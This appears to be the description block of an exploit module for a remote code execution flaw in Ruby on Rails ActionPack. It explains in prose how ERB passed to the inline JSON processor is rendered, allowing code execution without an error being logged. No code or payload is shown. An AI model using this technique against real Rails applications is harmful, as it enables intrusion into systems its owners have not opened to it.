          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
